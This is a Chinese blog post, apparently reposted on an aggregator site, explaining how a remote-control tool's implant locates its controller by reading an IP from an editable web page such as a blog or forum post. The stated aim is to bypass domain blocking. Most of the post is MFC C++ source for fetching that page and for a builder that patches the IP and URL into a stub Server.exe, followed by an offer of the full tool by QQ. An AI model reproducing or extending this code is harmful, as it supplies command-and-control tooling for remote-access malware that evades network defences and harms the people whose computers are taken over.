通过网页去实现远程控制软件的上线!博客,贴吧,云盘等等网页方式实现上线原理解析,绕过域名拦截
来源:互联网 发布:vb和微信公众号对接 编辑:程序博客网 时间:2024/06/05 23:49
原理:
先说说传统远控软件的上线原理:
由于远控上线的时候需要获知主控端的ip进行socket链接。那么主控端的ip有可能不是固定ip,所以大家普通的实现方式就是通过域名去实现链接主控端ip 用域名去解析主控端ip,主控端每次使用时,将域名映射到本机的ip,如此实现了连接上线。
小白虎远程控制软件上线原理:
通过将ip信息写入一个网页中,最好是一个可以修改的网页如博客。在被控端需要主控端ip时,从这个网页去读取主控端的ip,那么每次当主控端换了主机去登陆那么只需要在此网页中把以前的ip改为现在所在主机的ip即可!
具体实现源码:
int memfind(const char *mem, const char *str, int sizem, int sizes) { int da,i,j; if (sizes == 0) da = strlen(str); else da = sizes; for (i = 0; i < sizem; i++) { for (j = 0; j < da; j ++) if (mem[i+j] != str[j])break; if (j == da) return i; } return -1; }CString CSettingDlg::getIPFromUrl(){CInternetSession session("HttpClient"); char * url = (LPSTR)(LPCSTR)m_ConnectUrl; CHttpFile* pfile = (CHttpFile *)session.OpenURL(url); CString content; DWORD dwStatusCode; pfile -> QueryInfoStatusCode(dwStatusCode); if(dwStatusCode == HTTP_STATUS_OK) { CString data; while (pfile -> ReadString(data)) { content += data + "\r\n"; } } pfile -> Close(); delete pfile; session.Close(); int begin = content.Find("ipbegin");int end = content.Find("ipend");begin += 7;return content.Mid(begin, end - begin);}// CSettingDlg 消息处理程序void CSettingDlg::OnBnClickedGenerateserver(){// TODO: 在此添加控件通知处理程序代码char name[1000]; GetModuleFileName(NULL, name, 1000);CString srcPath = name;int pos = srcPath.ReverseFind('\\');srcPath = srcPath.Left(pos);CString desPath = srcPath;srcPath = srcPath + "\\MzServer.exe";desPath = desPath + "\\Server.exe";if (GetFileAttributes(srcPath)==-1){MessageBox("配置文件MzServer.exe不存在","呵呵哒",MB_OK|MB_ICONSTOP);return;}UpdateData(true);if(connectIp =="" && m_ConnectUrl == ""){MessageBox("ip或url为空!","呵呵哒!",MB_OK|MB_ICONSTOP);return;}//DeleteFile(filePath);CopyFile(srcPath, desPath, FALSE);memset(ConnectInfo::getConnectInfo()->ipAddress, 0, sizeof(ConnectInfo::getConnectInfo()->ipAddress));strcpy(ConnectInfo::getConnectInfo()->ipAddress, connectIp);ConnectInfo::getConnectInfo()->port = 8000;DWORD wr=0;HANDLE hFile=CreateFile(desPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);DWORD len=GetFileSize(hFile,NULL);char *str=new char [len];ZeroMemory(str,sizeof(str));ReadFile(hFile,str,len+1,&wr,NULL);CloseHandle(hFile);CString string = str;DWORD dwOffset = memfind(str,"127.000.000.001",len, 0);//long dwOffset = string.Find("127.0.0.1",0);if (dwOffset == -1){AfxMessageBox("文件不合法");return;} DWORD dwOffset2 = memfind(str,"woshiyigemeilideurl",len, 0);if (dwOffset2 == -1){AfxMessageBox("文件不合法");return;}if(m_ConnectUrl != ""){CString ip = getIPFromUrl();if(::MessageBox(NULL,ip, "请确认您的url中的ip是否为以下ip", MB_YESNO) == IDNO) return;}if(m_ConnectUrl == "" || m_ConnectUrl.GetLength() < 5){ m_ConnectUrl = defaultUrl;}CFile file;if(file.Open (desPath, CFile::modeCreate | CFile::modeWrite)){try{file.Write(str, len);file.Seek(dwOffset, CFile::begin);ConnectInfo *p = ConnectInfo::getConnectInfo();file.Write(ConnectInfo::getConnectInfo(), sizeof(ConnectInfo));file.Seek(dwOffset2, CFile::begin); file.Seek(dwOffset2, CFile::begin); char remoteUrl[395]; memset(remoteUrl, 0, sizeof(remoteUrl)); strcpy(remoteUrl, (LPSTR)(LPCSTR)m_ConnectUrl); int len = m_ConnectUrl.GetLength();file.Write(remoteUrl, 395);file.Close();}catch(...){MessageBox("文件保存失败,请检查","提示",MB_OK|MB_ICONSTOP);//DeleteFile(filePath);return;}}MessageBox("服务端文件生成成功,已保存为Server.exe","提示",MB_ICONWARNING);}
上面为本远控生成服务端的代码
主要函数在于:
getIPFromUrl()
此函数中的变量m_ConnectUrl保存了包含主控端ip的网页的地址! 从此网页中解析 本人默认ip的保存格式为:ipbegin127.0.0.1ipend 把127.0.0.1换成真正的被控端ip即可
该函数返回解析出的ip地址!
这个函数是真正起到作用的
本软件生成服务端效果图:
获得软件以及源码 请加qq354249785
0 0
- 通过网页去实现远程控制软件的上线!博客,贴吧,云盘等等网页方式实现上线原理解析,绕过域名拦截
- 小白虎远程控制软件实现分组上线的设计!
- 免杀、免映射、穿透上线、远程控制的软件
- 通过网页实现软件的布局
- 通过scheme拦截网页链接,实现网页跳转APP
- 控制网页文件大小通过精简CSS实现
- 正确的方法去拦截OnNewWindow2实现在同一个窗口显示_target的网页
- 正确的方法去拦截OnNewWindow2实现在同一个窗口显示_target的网页
- 正确的方法去拦截OnNewWindow2实现在同一个窗口显示_target的网页
- 正确的方法去拦截OnNewWindow2实现在同一个窗口显示_target的网页
- input链接页面、打开新网页等等的具体实现
- 独立域名博客上线啦 zzqhost.com
- 博客搬家完成,新域名正式上线
- 通过网页实现断点续传~!
- 通过多播实现局域网上线用户列表 c++实现
- C#实现通过程序自动抓取远程Web网页信息
- C#实现通过程序自动抓取远程Web网页信息
- C#实现通过程序自动抓取远程Web网页信息
- python学习笔记(3)字符串
- Segmentation of PolSAR
- Android中ListView的Selector的用法
- 安卓开发环境的搭建
- Unity destructor Or OnDestory
- 通过网页去实现远程控制软件的上线!博客,贴吧,云盘等等网页方式实现上线原理解析,绕过域名拦截
- 2015-04-30 smali/baksmali v2.0.6
- io.write("\27[2J")
- spring方法内部调用方法事务关系
- hibernate 4 object is not an instance of declaring class
- CopyOnWriteArrayList 源码阅读与分析
- POJ 3278 Catch That Cow
- MFC UDP CSocket实现局域网通信
- C++找数组中只出现一次的两个数并保存(牛客剑指offer)